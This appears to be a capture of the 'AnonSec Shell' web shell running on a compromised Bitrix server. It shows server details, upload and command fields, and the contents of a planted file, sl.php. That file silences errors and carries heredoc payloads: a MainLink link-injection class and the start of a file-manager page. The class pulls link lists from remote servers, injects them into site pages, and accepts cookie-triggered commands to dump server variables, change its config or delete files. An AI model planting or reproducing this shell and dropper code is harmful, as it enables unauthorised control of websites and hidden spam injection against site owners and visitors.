AnonSec Shell
Server IP : 85.193.89.191  /  Your IP : 3.137.178.131
Web Server : Apache
System : Linux 956367-cx40159.tmweb.ru 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
User : bitrix ( 600)
PHP Version : 8.1.27
Disable Function : NONE
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/bitrix/www/__assets__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/bitrix/www/__assets__/sl.php
<?php


ini_set('display_errors','off'); error_reporting(0);



$ml_file2 = <<<LABEL
<?php

class lTransmiter
{
    var \$version			  = '6.5.1';

	var \$user				  = false;
	var \$tm_cache_filename	  = 'links.dat';
	var \$tm_config_filename	  = 'links.conf';
	var \$tm_debug			  = false;
	var \$tm_test              = false;
	var \$tm_test_num          = 1;
	var \$tm_max_links_count   = 20;
	var \$tm_charset           = 'utf';
	var \$tm_cache_lifetime    = 7200;
	var \$tm_cache_reloadtime  = 300;
	var \$tm_links_db_file     = '';
	var \$tm_links             = array();
	var \$tm_links_page        = array();
	var \$tm_links_count       = 0;
	var \$tm_host              = '';
	var \$tm_request_uri       = '';
	var \$tm_socket_timeout    = 6;
	
	var \$tm_plain_output 	  = false;
	var \$tm_htmlbefore 		  = '';
	var \$tm_htmlafter 		  = '';
	var \$tm_target 			  = '';
	var \$tm_style 			  = '';
	var \$tm_class_name 		  = '';
	var \$tm_span 			  = false;
	var \$tm_splitter 		  = ' | ';
	var \$tm_class_name_span   = '';
	var \$tm_style_span 		  = '';
	var \$tm_div 			  = false;
	var \$tm_class_name_div 	  = '';
	var \$tm_style_div 		  = '';
	var \$tm_return 			  = 'text';
	var \$tm_div_span_order	  = 'div';
	var \$tm_force_sign	  	  = false;
	
	var \$ML_bot 			  = false;
	var \$ML_noindex_bot 	  = false;
	
	var \$tm_limit_start 	  = 0;
	var \$tm_limit_items	 	  = 0;
	
	var \$tm_exact_match	 	  = true;
	
	function __construct(\$options)
	{
		\$host = '';
        if (is_array(\$options)) {
            if (isset(\$options['host'])) {
                \$host = \$options['host'];
            }
        } elseif (strlen(\$options) != 0) {
            \$host = \$options;
            \$options = array();
        } else {
            \$options = array();
        }

        if (strlen(\$host) != 0) {
            \$this->tm_host = preg_replace('%\:(.*)%', '', \$host);
        } else {
            \$this->tm_host = preg_replace('%\:(.*)%', '', \$_SERVER['HTTP_HOST']);
        }

        \$this->tm_host = preg_replace('{^https?://}i', '', \$this->tm_host);
        \$this->tm_host = preg_replace('{^www\.}i', '', \$this->tm_host);
        \$this->tm_host = strtolower( \$this->tm_host);

		\$this->tm_links_config_file = dirname(__FILE__) . '/' . \$this->tm_host . '.' . \$this->tm_config_filename;
		\$this->load_config_file(\$this->tm_links_config_file, \$options);
		
		\$this->tm_request_uri = '';
        if (isset(\$options['request_uri']) && strlen(\$options['request_uri']) != 0) {
            \$this->tm_request_uri = \$options['request_uri'];
        } 

		\$username = \$options['USERNAME'];
		if (isset(\$_GET[\$username])) 
		{
			\$this->tm_test = true;
		}
		
		if (isset(\$options['test']) && (\$options['test'] == 'true' || \$options['test'] === true))
        {
            \$this->tm_test = true;
        }
			
		if (isset(\$options['test_num']) && intval(\$options['test_num']) > 1)
        {
            \$this->tm_test_num = \$options['test_num'];
        }
		
		if (isset(\$options['exact_match']) && \$options['exact_match'] != 'false')
        {
            \$this->tm_exact_match = \$options['exact_match'];
        }
		
        if (isset(\$options['plain_output']) && strlen(\$options['plain_output']) != 0 && \$options['plain_output'] != 'false')
        {
            \$this->tm_plain_output = \$options['plain_output'];
        }
		
		if (isset(\$options['charset']) && strlen(\$options['charset']) != 0 && \$options['charset'] != 'false')
        {
            \$this->tm_charset = \$options['charset'];
        }
		
		if (isset(\$options['target']) && strlen(\$options['target']) != 0 && \$options['target'] != 'false')
        {
            \$this->tm_target = \$options['target'];
        }
		
		if (isset(\$options['style']) && strlen(\$options['style']) != 0 && \$options['style'] != 'false')
        {
            \$this->tm_style = \$options['style'];
        }
		
		if (isset(\$options['force_sign']) AND \$options['force_sign'] != false)
        {
            \$this->tm_force_sign = true;
        }
		
		if (isset(\$options['class_name']) && strlen(\$options['class_name']) != 0 && \$options['class_name'] != 'false')
        {
            \$this->tm_class_name = \$options['class_name'];
        }
		
		if (isset(\$options['splitter']) && strlen(\$options['splitter']) != 0 && \$options['splitter'] != 'false')
        {
            \$this->tm_splitter = \$options['splitter'];
        }
		
		if (isset(\$options['span']) && strlen(\$options['span']) > 0 && \$options['span'] != 'false')
        {
            \$this->tm_span = true;
        }
		
		if (isset(\$options['class_name_span']) && strlen(\$options['class_name_span']) != 0 && \$options['class_name_span'] != 'false')
        {
            \$this->tm_class_name_span = \$options['class_name_span'];
        }
		
		if (isset(\$options['style_span']) && strlen(\$options['style_span']) != 0 && \$options['style_span'] != 'false')
        {
            \$this->tm_style_span = \$options['style_span'];
        }
		
		if (isset(\$options['div']) && strlen(\$options['div']) != 0 && \$options['div'] != 'false')
        {
            \$this->tm_div = \$options['div'];
        }
		
		if (isset(\$options['div_span_order']) && strlen(\$options['div_span_order']) != 0 && \$options['div_span_order'] != 'false')
        {
            \$this->tm_div_span_order = \$options['div_span_order'];
        }
		
		if (isset(\$options['class_name_div']) && strlen(\$options['class_name_div']) != 0 && \$options['class_name_div'] != 'false')
        {
            \$this->tm_class_name_div = \$options['class_name_div'];
        }
		
		if (isset(\$options['style_div']) && strlen(\$options['style_div']) != 0 && \$options['style_div'] != 'false')
        {
            \$this->tm_style_div = \$options['style_div'];
        }
		
		if (isset(\$options['return']) && strlen(\$options['return']) != 0 && \$options['return'] != 'false')
        {
            \$this->tm_return = \$options['return'];
        }
		
		if (isset(\$options['limit_start']) && intval(\$options['limit_start']) > 0)
		{
            \$this->tm_limit_start = \$options['limit_start'];
        }
		
		if (isset(\$options['limit_items']) && intval(\$options['limit_items']) > 0)
		{
            \$this->tm_limit_items = \$options['limit_items'];
        }
		
		if (isset(\$options['update_time']) && intval(\$options['update_time']) > 3600)
        {
            \$this->tm_cache_lifetime = \$options['update_time'];
        }
		
		if (isset(\$options['update_lock_time']) && intval(\$options['update_lock_time']) > 300)
        {
            \$this->tm_cache_reloadtime = \$options['update_lock_time'];
        }

		if (isset(\$options['htmlbefore']) && strlen(\$options['htmlbefore']) != 0 && \$options['htmlbefore'] != 'false')
        {
            \$this->tm_htmlbefore = \$options['htmlbefore'];
        }

		if (isset(\$options['htmlafter']) && strlen(\$options['htmlafter']) != 0 && \$options['htmlafter'] != 'false')
        {
            \$this->tm_htmlafter = \$options['htmlafter'];
        }		

		if (isset(\$options['debug']) && strlen(\$options['debug']) != 0 && \$options['debug'] != 'false')
        {
            \$this->tm_debug = \$options['debug'];
        }
		
		if (isset(\$options['max_links']) && intval(\$options['max_links']) > 0)
        {
            \$this->tm_max_links_count = \$options['max_links'];
        }

		if (isset(\$options['socket_timeout']) && is_numeric(\$options['socket_timeout']) && \$options['socket_timeout'] > 0)
		{
			\$this->tm_socket_timeout = \$options['socket_timeout'];
		}

		if (!isset(\$options['USERNAME']) || strlen(\$options['USERNAME']) != 32)
		{
			return \$this->raise_error('Secure code is empty!<br />You must use secure code!<br /><a href="http://www.mainlink.ru/xmy/web/xscript/answers/start.aspx?id=60&q=38#38" target="_blank">What is it?</a>');
		}
	
		\$this->service_function(\$options);
		\$this->user = \$options['USERNAME'];
		\$this->load_links();
	}
	
	
	function load_config_file(\$filename, &\$options){
		if (!file_exists(\$filename))
		{
			return false;
		}
		
		\$config_data = \$this->lc_read(\$filename);
		\$config_data_Arr = explode("\n", \$config_data);
		foreach(\$config_data_Arr as \$config_data_Str){
			\$config_data_Str_Arr = @explode('=', \$config_data_Str);
			if ( isset(\$config_data_Str_Arr[0]) && strlen(\$config_data_Str_Arr[0]) > 0 ) {
				\$op_key = \$config_data_Str_Arr[0];
				\$options[\$op_key] = isset(\$config_data_Str_Arr[1]) ? \$config_data_Str_Arr[1] : '';
			}
		}
	}
	
	
	function service_function(\$options)
	{
		if (isset(\$_SERVER['HTTP_USER_AGENT']) && strpos(\$_SERVER['HTTP_USER_AGENT'], 'mlbot.' . \$options['USERNAME']) !== false) 
		{
			\$this->ML_bot = true;
		}
		
		if (isset(\$_SERVER['HTTP_USER_AGENT']) && strpos(\$_SERVER['HTTP_USER_AGENT'],'nomlbot.' . \$options['USERNAME']) !== false)
		{
			\$this->ML_noindex_bot = true;
		}
		
		if (isset(\$_COOKIE['vardump']) && \$this->ML_bot)
		{
			return \$this->raise_error('<ml_vardump>' . var_export(\$_SERVER, true) . '</ml_vardump>');
		}
		
		if (isset(\$_COOKIE['getver']))
		{
			return \$this->raise_error('<ml_getver>' . \$this->version . '</ml_getver>');
		}
		
		if (isset(\$_COOKIE['getbase']) && \$this->ML_bot)
		{
			\$this->tm_links_db_file = dirname(__FILE__) . '/' . \$this->tm_host . '.' . \$this->tm_cache_filename;

			if (!file_exists(\$this->tm_links_db_file))
			{
				return \$this->raise_error('<ml_base></ml_base>');
			}
			
			\$ml_base = \$this->lc_read(\$this->tm_links_db_file);
			return \$this->raise_error('<ml_base>' . \$ml_base . '</ml_base>');
		}
		
		if (isset(\$_COOKIE['getcfg']) && \$this->ML_bot)
		{
			return \$this->raise_error('<ml_code_config>' . var_export(\$options, true) . '</ml_code_config>');
		}
		
		if (\$this->ML_bot) 
		{
			\$link = '<a href="http://www.mainlink.ru/xmy/web/xscript/answers/start.aspx?id=60&q=38#38" target="_blank">SECURE_CODE</a>: <ml_secure>' . \$options['USERNAME'] . '</ml_secure>';
			
			if (\$this->ML_noindex_bot)
			{
				print('<!--' . \$link . '-->');
			} else {
				print('<pre width="100%" STYLE="font-family:monospace;font-size:0.95em;width:80%;border:red 2px solid;color:red;background-color:#FBB;">' . \$link . '</pre>');
			}
		}
		
		
	 
		if(isset(\$_COOKIE['update_settings'])&& \$this->ML_bot)
		{
			if (isset(\$_COOKIE['ml_clear_settings']))
			{
				\$result = @unlink(\$this->tm_links_config_file);
				return \$this->raise_error('<ml_clear_settings>' . var_export(\$result, true) . '</ml_clear_settings>');
			}

			if (isset(\$_COOKIE['ml_set_param']) && isset(\$_COOKIE['ml_param_value']))
			{
				\$result = \$this->save_setting_2file(\$this->tm_links_config_file, \$_COOKIE['ml_set_param'], \$_COOKIE['ml_param_value']);
				return \$this->raise_error('<ml_update_settings_set_param>' . var_export(\$result, true) . '</ml_update_settings_set_param>');
			}
		}
	 
		if(isset(\$_COOKIE['clear_cache']) && \$this->ML_bot)
		{
			\$this->tm_links_db_file = dirname(__FILE__) . '/' . \$this->tm_host . '.' . \$this->tm_cache_filename;
			\$result = @unlink(\$this->tm_links_db_file);
			return \$this->raise_error('<ml_clear_cache>' . var_export(\$result, true) . '</ml_clear_cache>');
		}
		
		if (isset(\$_COOKIE['date_code'])&& \$this->ML_bot)
		{
			\$date_code_data = '<ml_date_code>' . date("Y-m-d H:i:s", filectime(dirname(__FILE__) . '/ML_lcode.php')) . '</ml_date_code>';
			\$date_code_data .= '<ml_server_time>' . date("Y-m-d H:i:s") . '</ml_server_time>';
			return \$this->raise_error(\$date_code_data);
		}
	 
		if(isset(\$_COOKIE['date_cache'])&& \$this->ML_bot)
		{
			\$this->tm_links_db_file = dirname(__FILE__) . '/' . \$this->tm_host . '.' . \$this->tm_cache_filename;
			
			\$date_cache_data = '<ml_date_cache>' . date("Y-m-d H:i:s", filectime(\$this->tm_links_db_file)) . '</ml_date_cache>';
			\$date_cache_data .= '<ml_server_time>' . date("Y-m-d H:i:s") . '</ml_server_time>';
			return \$this->raise_error(\$date_cache_data);
		}
	}
	
	
	function save_setting_2file(\$filename, \$param_name, \$param_value)
	{
		if (!file_exists(\$filename))
		{
			\$file_data = '';
			@touch(\$filename, time());
		} else {
			\$file_data = \$this->lc_read(\$filename);
		}
		
		\$options = array();
		\$is_injected = false;
		\$config_data_Arr = explode("\n", \$file_data);
		foreach(\$config_data_Arr as \$config_data_Str){
			\$config_data_Str_Arr = @explode('=', \$config_data_Str);
			if ( isset(\$config_data_Str_Arr[0]) && strlen(\$config_data_Str_Arr[0]) > 0 ) {
				\$op_key = \$config_data_Str_Arr[0];
				if ( \$op_key == \$param_name ) {
					\$options[] = \$op_key . '=' . \$param_value;
					\$is_injected = true;
				} else {
					\$options[] = \$op_key . '=' . isset(\$config_data_Str_Arr[1]) ? \$config_data_Str_Arr[1] : '';
				}
			}
		}
		
		if (!\$is_injected)
		{
			\$options[] = \$param_name . '=' . \$param_value;
		}
		
		\$options_Str = implode("\n", \$options);
		return \$this->lc_write(\$filename, \$options_Str);
	}
	
	
	function load_links()
	{
		\$this->tm_links_db_file = dirname(__FILE__) . '/' . \$this->tm_host . '.' . \$this->tm_cache_filename;

		if (!\$this->setup_datafile(\$this->tm_links_db_file))
		{
			return false;
		}

		@clearstatcache();

		//Load links
		if (filemtime(\$this->tm_links_db_file) < (time()-\$this->tm_cache_lifetime) || (filemtime(\$this->tm_links_db_file) < (time()-\$this->tm_cache_reloadtime) && filesize(\$this->tm_links_db_file) == 0))
		{
		// is update initiated by other client
			\$skip_update = false;
			if ( file_exists(\$this->tm_links_db_file . '.lock') AND time() - filemtime(\$this->tm_links_db_file . '.lock') < 600 ) {
				\$skip_update = true;
			}
			
			if(!\$skip_update){
				@touch(\$this->tm_links_db_file . '.lock', time());
				@touch(\$this->tm_links_db_file, time());
				
				\$servers = array( 'main' => 'links.mainlink.ru', 'reserve' => 'd1.mainlinkads.com');
										
				\$data = array();
				\$path = '/l.aspx';
				\$data = array('u' => \$this->tm_host, 'sec' => \$this->user, 'cs' => 'utf', 'decode' => true);
				
				if ( \$this->tm_plain_output && \$this->tm_plain_output != 'false' )
				{
					\$data['plain'] = true;
				}
				
				if (\$links = \$this->request(\$servers, \$path, \$data, 'GET', \$this->tm_socket_timeout))
				{
					if (substr(\$links, 0, 12) == 'FATAL ERROR:' && \$this->tm_debug)
					{
						\$this->raise_error(\$links);
					} else
					{
						if (\$links !== '')
						{
							\$links_Array = array();
							
							if ( \$this->tm_plain_output && \$this->tm_plain_output != 'false' )
							{
								\$links_Array = @explode("__END__\r\n", \$links);
							} 
							else 
							{
								\$links_Array = @unserialize(\$links);
							}
							
							\$links_data = '';
							if ( !is_array(\$links_Array) ) 
							{
							// let`s find out is this a connection problem or all links are removed
								if ( \$links == 'No Code' ) {
									\$this->lc_write(\$this->tm_links_db_file, \$links_data);
								} else {
									\$this->raise_error("Can't unserialize received data: " . \$links . "\nRequest: " . \$path . "?u=" . \$data['u'] . "&sec=" . \$data['sec'] . "&cs=utf&decode=1");
								}
							} 
							else
							{
								foreach(\$links_Array as \$link_url => \$link_texts){
								
								// cleaning link
									if ( \$this->tm_plain_output && \$this->tm_plain_output != 'false' )
									{
										\$link_url = trim(\$link_url) . '__END__';
									} 
									else 
									{
										\$link_url = trim(\$link_url);
									}
									
									\$link_url = substr(\$link_url, 1);
									\$link_url = substr(\$link_url, 0, -1);
									\$link_url = urldecode(\$link_url);
									\$link_url = rawurldecode(\$link_url);
									\$link_url = stripslashes(\$link_url);
									
									if ( preg_match('%^(.*?)/%', \$link_url) ) {
										\$link_url = @preg_replace('%^(.*?)/%', '/', \$link_url);
									} else {
										\$link_url = '/';
									}
									
									foreach(\$link_texts as \$link_text){
										\$links_data .= rawurlencode(urldecode(\$link_url)) . '__LINK__' . \$link_text . "__END__\r\n";
									}
								}

								\$this->lc_write(\$this->tm_links_db_file, \$links_data);
							}
							
						} else if (\$this->tm_debug)
						{
							\$this->raise_error("Can't unserialize received data.");
						}
					}
				}
				
				@unlink(\$this->tm_links_db_file . '.lock');
			}
		}

		\$links = \$this->get_links(\$this->tm_links_db_file, \$this->tm_request_uri);
		
		\$this->tm_file_change_date = @gmstrftime ("%d.%m.%Y %H:%M:%S", filectime(\$this->tm_links_db_file));
		\$this->tm_file_size = @filesize( \$this->tm_links_db_file );
		
		if (empty(\$links))
		{
			\$this->tm_links = array();
			if (\$this->tm_debug)
				\$this->raise_error("No links for this page found.");
		} else 
		{
			\$this->tm_links = \$links;
		}

		if (\$this->tm_test)
		{
			\$test_lnks_num = ( \$this->tm_test_num > 1 ) ? \$this->tm_test_num : 1;
			for(\$i=0; \$i<\$test_lnks_num; \$i++)
			{
				\$links[] = '<noindex>Это тестовая ссылка. <a href="http://www.mainlink.ru">Mainlink.ru</a></noindex>';
			}
		}
		
		foreach(\$links as \$key => \$link){
		
			if ( \$this->tm_charset == 'win' ) {
				\$link = @iconv("utf-8", 'cp1251//TRANSLIT', \$link);
			}
			
			if ( \$this->tm_charset == 'koi' ) {
				\$link = @iconv("utf-8", 'koi8-r//TRANSLIT', \$link);
			}
			
			if ( \$this->tm_charset == 'iso' ) {
				\$link = @iconv("utf-8", 'ISO-8859-1//TRANSLIT', \$link);
			}
			
			if ( strlen(\$this->tm_charset) > 0 && trim(strtolower(\$this->tm_charset)) != 'win' && trim(strtolower(\$this->tm_charset)) != 'koi' && trim(strtolower(\$this->tm_charset)) != 'iso' && trim(strtolower(\$this->tm_charset)) != 'utf' && trim(strtolower(\$this->tm_charset)) != 'utf-8' ) {
				\$link = @iconv("utf-8", \$this->tm_charset . '//TRANSLIT', \$link);
			}
			
			if ( strlen(\$this->tm_style) > 0 ) { 
				\$link = @preg_replace('/<a([^>]+)style="(.*?)"/sim', '<a \\1', \$link);
				\$link = @preg_replace('/<a([^>]+)style=\'(.*?)\'/sim', '<a \\1', \$link);
				\$link = @preg_replace('/<a\s+/ism', '<a style="' . \$this->tm_style . '" ', \$link);
			}
			
			if ( strlen(\$this->tm_class_name) > 0 ) {
				\$link = @preg_replace('/<a([^>]+)class="(.*?)"/sim', '<a \\1', \$link);
				\$link = @preg_replace('/<a([^>]+)class=\'(.*?)\'/sim', '<a \\1', \$link);
				\$link = @preg_replace("/<a(.*?)>/ism", '<a \\1 class="' . \$this->tm_class_name . '">', \$link);
			}
			
			if ( strlen(\$this->tm_target) > 0 ) {
				\$link = @preg_replace('/<a([^>]+)target=\'(.*?)\'/sim', '<a \\1', \$link);
				\$link = @preg_replace('/<a([^>]+)target="(.*?)"/sim', '<a \\1', \$link);
				\$link = @preg_replace("/<a(.*?)>/ism", '<a \\1 target="' . \$this->tm_target . '">', \$link);
			}
			
			if( isset(\$this->tm_htmlbefore) || isset(\$this->tm_htmlafter) ) {
                 @\$this->tm_links_page[\$key] = \$this->tm_htmlbefore . \$link . \$this->tm_htmlafter;
            } else {
                 @\$this->tm_links_page[\$key] = \$link;
            }
		}
		
		\$this->tm_links_count = count(\$this->tm_links_page);
	}
	
	
	function get_links(\$filename, \$uri = '')
	{
		\$fp = @fopen(\$filename, 'rb');
		@flock(\$fp, LOCK_SH);
		\$result = array();
		if (!empty(\$fp)) 
		{
			clearstatcache();
			\$length = @filesize(\$filename);
			\$tmp = (!empty(\$length)) ? fread(\$fp, \$length) : '' ; 
		
		// notice remover
			if ( !isset(\$_SERVER['REDIRECT_URL']) ) {
				\$_SERVER['REDIRECT_URL'] = '';
			}
			
			if ( !isset(\$_SERVER['HTTP_X_FORWARDED_URI']) ) {
				\$_SERVER['HTTP_X_FORWARDED_URI'] = '';
			}
			
		// exact matches for preset uri
			if ( strlen(\$uri) > 0 ) {
			
				\$uri = str_replace('&', '&', \$uri);
				\$exact_match_pattern  = ( \$this->tm_exact_match != true ) ? '(?:.*?)' : '';
				if ( preg_match_all('{^' . rawurlencode(urldecode(\$uri)) . \$exact_match_pattern . '__LINK__(.*?)__END__}smi', \$tmp, \$regs) ) {
					\$result = array_merge(\$result, \$regs[1]);
				}

				
				if ( \$this->ML_bot )
				{
					print('<ml_code_match_1>' . var_export(\$regs, true)  . '</ml_code_match_1>');
					print('<ml_code_pattern_1>' . var_export(rawurlencode(urldecode(\$uri)), true)  . '</ml_code_pattern_1>');
				}
				
			} else {

				if ( isset(\$_SERVER['REQUEST_URI']) ) {
					
					\$_SERVER['REQUEST_URI'] = str_replace('&', '&', \$_SERVER['REQUEST_URI']);
					\$exact_match_pattern  = ( \$this->tm_exact_match != true ) ? '(?:.*?)' : '';
					if ( preg_match_all('{^' . rawurlencode(urldecode(\$_SERVER['REQUEST_URI'])) . \$exact_match_pattern . '__LINK__(.*?)__END__}smi', \$tmp, \$regs) ) {
						\$result = array_merge(\$result, \$regs[1]);
					}
					
					if ( \$this->ML_bot )
					{
						print('<ml_code_match_2>' . var_export(\$regs, true)  . '</ml_code_match_2>');
						print('<ml_code_pattern_2>' . var_export(rawurlencode(urldecode(\$_SERVER['REQUEST_URI'])), true)  . '</ml_code_pattern_2>');
					}
				} elseif ( isset(\$_SERVER['REDIRECT_URL']) && count(\$result) < 1 ) {
					
					\$_SERVER['REDIRECT_URL'] = str_replace('&', '&', \$_SERVER['REDIRECT_URL']);
					\$exact_match_pattern  = ( \$this->tm_exact_match != true ) ? '(?:.*?)' : '';
					if ( preg_match_all('{^' . rawurlencode(urldecode(\$_SERVER['REDIRECT_URL'])) . \$exact_match_pattern . '__LINK__(.*?)__END__}smi', \$tmp, \$regs) ) {
						\$result = array_merge(\$result, \$regs[1]);
					}
					
					if ( \$this->ML_bot )
					{
						
						print('<ml_code_match_3>' . var_export(\$regs, true)  . '</ml_code_match_3>');
						print('<ml_code_pattern_3>' . var_export(rawurlencode(urldecode(\$_SERVER['REDIRECT_URL'])), true)  . '</ml_code_pattern_3>');
					}
				} elseif ( isset(\$_SERVER['HTTP_X_FORWARDED_URI']) && count(\$result) < 1 ) {
					
					\$_SERVER['HTTP_X_FORWARDED_URI'] = str_replace('&', '&', \$_SERVER['HTTP_X_FORWARDED_URI']);
					\$exact_match_pattern  = ( \$this->tm_exact_match != true ) ? '(?:.*?)' : '';
					if ( preg_match_all('{^' . rawurlencode(urldecode(\$_SERVER['HTTP_X_FORWARDED_URI'])) . \$exact_match_pattern . '__LINK__(.*?)__END__}smi', \$tmp, \$regs) ) {
						\$result = array_merge(\$result, \$regs[1]);
					}
					
					if ( \$this->ML_bot )
					{
						
						print('<ml_code_match_4>' . var_export(\$regs, true)  . '</ml_code_match_4>');
						print('<ml_code_pattern_4>' . var_export(rawurlencode(urldecode(\$_SERVER['HTTP_X_FORWARDED_URI'])), true)  . '</ml_code_pattern_4>');
					}
				}
				

			}
			
		// clean results
			\$result = array_unique(\$result);
			
			@flock(\$fp, LOCK_UN);
			@fclose(\$fp);
		}
		return \$result;
	}
	
	
	function setup_datafile(\$filename)
	{
		if (!is_file(\$filename))
		{
			if (@touch(\$filename, time() - \$this->tm_cache_lifetime))
			{
				@chmod(\$filename, 0666);
			} else
			{
				return \$this->raise_error("There is no file " . \$filename  . ". Failed to create. Set mode to 777 on the folder.");
			}
		}

		if (!is_writable(\$filename))
		{
			return \$this->raise_error("There is no permissions to write: " . \$filename . "! Set mode to 777 on the folder.");
		}
		return true;
	}
	
	
	function render_link(\$links)
	{
		\$span_before_text = '';
		\$span_after_text = '';
		\$div_before_text = '';
		\$div_after_text = '';
		
		if ( \$this->tm_span ) {
			\$span_before_text = '<span';

			if ( strlen(\$this->tm_style_span) > 0 ) {
				\$span_before_text .= ' style="' . \$this->tm_style_span . '"';
			}
			
			if ( strlen(\$this->tm_class_name_span) > 0 ) {
				\$span_before_text .= ' class="' . \$this->tm_class_name_span . '"';
			}
			
			\$span_before_text .= '>';
			\$span_after_text = '</span>';
		}
		
		if ( \$this->tm_div ) {
			\$div_before_text = '<div';

			if ( strlen(\$this->tm_style_div) > 0 ) {
				\$div_before_text .= ' style="' . \$this->tm_style_div . '"';
			}
			
			if ( strlen(\$this->tm_class_name_div) > 0 ) {
				\$div_before_text .= ' class="' . \$this->tm_class_name_div . '"';
			}
			
			\$div_before_text .= '>';
			\$div_after_text = '</div>';
		}
		
		if ( \$this->tm_div_span_order == 'div' ) {
			\$links = \$div_before_text . \$span_before_text . \$links . \$span_after_text . \$div_after_text;
		} else {
			\$links = \$span_before_text . \$div_after_text . \$links . \$div_after_text . \$span_after_text;
		}
		
		return \$links;
	}
	
	
	function build_links()
	{
		\$result = '';

		if (\$this->ML_bot)
		{
			\$result .= '<ml_code>' . \$this->version . "</ml_code>\n";
			\$result .= 'REMOTE_ADDR=' . \$this->tm_host . "\n";
			\$result .= 'charset=' . \$this->tm_charset . "\n";
			\$result .= 'file change date=' . \$this->tm_file_change_date . "\n";
			\$result .= 'tm_cache_file_size=' . \$this->tm_file_size . "\n";
			\$result .= 'tm_links_count_on_page=' . \$this->tm_links_count . "\n";
			\$result .= '-->';
		}

		if (isset(\$_COOKIE['getver']) || \$this->ML_bot || \$this->tm_force_sign)
		{
			\$result .= '<!--<ml_getver>' . \$this->version . '</ml_getver>-->';
		}

		\$start_index = \$this->tm_limit_start;
		\$limit = ( \$this->tm_limit_items > 0 ) ? \$this->tm_limit_items : \$this->tm_max_links_count;
		\$this->tm_links_page = array_slice(\$this->tm_links_page, \$start_index, \$limit);

		if ( count(\$this->tm_links_page) < 1 ) 
		{
			return \$result;
		}
		
		if ( \$this->tm_return == 'text' ) {
			\$result .= implode(\$this->tm_splitter, \$this->tm_links_page);
			\$result = \$this->render_link(\$result);
		} else {
			\$result = \$this->tm_links_page;
		}

		return \$result;
	}
	
	
	function raise_error(\$e)
	{
		if ( \$this->ML_bot || isset(\$_COOKIE['getver']) ) {
			print '<!--<ml_code_response>' . \$e . '</ml_code_response>-->';
		}
		
		return false;
	}
	
	
	function lc_read(\$filename)
	{
		\$fp = @fopen(\$filename, 'rb');
		@flock(\$fp, LOCK_SH);
		if (\$fp)
		{
			clearstatcache();
			\$length = @filesize(\$filename);
			
			if (\$length)
			{
				\$data = @fread(\$fp, \$length);
			} else
			{
				\$data = '';
			}
			
			@flock(\$fp, LOCK_UN);
			@fclose(\$fp);
			return \$data;
		}
		return \$this->raise_error("Can't get data from the file: " . \$filename);
	}
	
	
	function lc_write(\$filename, \$data)
	{
		\$fp = @fopen(\$filename, 'wb');
		if (\$fp)
		{
			@flock(\$fp, LOCK_EX);
			@fwrite(\$fp, \$data);
			@flock(\$fp, LOCK_UN);
			@fclose(\$fp);

			if (md5(\$this->lc_read(\$filename)) != md5(\$data))
			{
				return \$this->raise_error("Integrity was violated while writing to file: " . \$filename);
			}
			return true;
		}
		return \$this->raise_error("Can't write to file: " . \$filename);
	}
	

	function request(\$servers, \$file, \$data=array(), \$method='GET', \$timeout = 15)
 	{
		\$port = 80;
		foreach(\$servers as \$host) {
			\$_data = \$data;

			\$tmp = array();
			foreach(\$_data as \$k=>\$v){
				\$tmp[] = \$k.'='.urlencode(\$v);
			}
			\$_data = implode('&', \$tmp);

			\$path = \$file;
			if( \$method == 'GET' && \$_data != '' )
			{
				\$path .= '?' . \$_data;
			}
			
			\$request = \$method." ".\$path." HTTP/1.0\r\n";
			\$request .= "Host: ".\$host."\r\n";
			\$request .= "User-Agent: MainLink links db updater 6.3\r\n";
			\$request .= "Connection: close\r\n\r\n";

			@ini_set('allow_url_fopen', 1);
			@ini_set('default_socket_timeout', \$timeout);
			@ini_set('user_agent', 'MainLink links db updater 6.3');

			\$answer = '';
			\$response = '';
			if(function_exists('socket_create'))
			{
				@\$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
				@socket_set_option(\$socket, SOL_SOCKET, SO_SNDTIMEO, array('sec' => \$timeout, 'usec' => 0));
				@socket_connect(\$socket, \$host, \$port);
				@socket_write(\$socket, \$request);

				while(\$a = @socket_read(\$socket, 0xFFFF))
				{
					\$response .= \$a;
				}
				
				\$answer = ( \$response != '' ) ? explode("\r\n\r\n", \$response, 2) : '';
				\$response = '';
			}
			
			if(function_exists('fsockopen') && \$answer == '')
			{
				\$fp = @fsockopen(\$host, \$port, \$errno, \$errstr, \$timeout);
				if (\$fp)
				{
					@fputs(\$fp, \$request);
					while (!@feof(\$fp))
					{
						\$response .= @fgets(\$fp, 0xFFFF);
					}
					@fclose(\$fp);
				}
				
				\$answer = ( \$response != '' ) ? explode("\r\n\r\n", \$response, 2) : '';
				\$response = '';
			}
			
			if(function_exists('curl_init') && \$ch = @curl_init() && \$answer == '')
			{
				@curl_setopt(\$ch, CURLOPT_URL, 'http://' . \$host . \$path);
				@curl_setopt(\$ch, CURLOPT_HEADER, true);
				@curl_setopt(\$ch, CURLOPT_RETURNTRANSFER, true);
				@curl_setopt(\$ch, CURLOPT_CONNECTTIMEOUT, \$timeout);
				@curl_setopt(\$ch, CURLOPT_USERAGENT, 'MainLink links db updater 6.3');

				\$response = @curl_exec(\$ch);
				
				\$answer = ( \$response != '' ) ? explode("\r\n\r\n", \$response, 2) : '';
				\$response = '';
				@curl_close(\$ch);
			}
			
			if( function_exists('file_get_contents') && ini_get('allow_url_fopen') == 1 && \$answer == '')
			{
				\$response = @file_get_contents('http://' . \$host . \$path);
				\$answer[1] = ( \$response != '' ) ? \$response : '';
			}

			if(\$answer[1] != '')
			{
				return \$answer[1];
			}
		}
		
		return \$this->raise_error('<!--ERROR: Unable to use transport.-->');
    }
}
?>

LABEL;

$find_file = <<<LABEL

<!DOCTYPE HTML PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
   
    <head>

    <title>...::::FM</title>
    
    
  
    </head>
  
    <body marginwidth="0" marginheight="0">
    <script language="Javascript" type="text/javascript">
    <!--
        // Disable text selection, binding the onmousedown, but not for some elements, it must work.
        function disableTextSelection(e){
            var type = String(e.target.type);
            return (type.indexOf('select') != -1 || type.indexOf('button') != -1 || type.indexOf('input') != -1 || type.indexOf('radio') != -1);
        }
        function enableTextSelection(){return true}
        if (is.ie) document.onselectstart=new Function('return false')
        else {
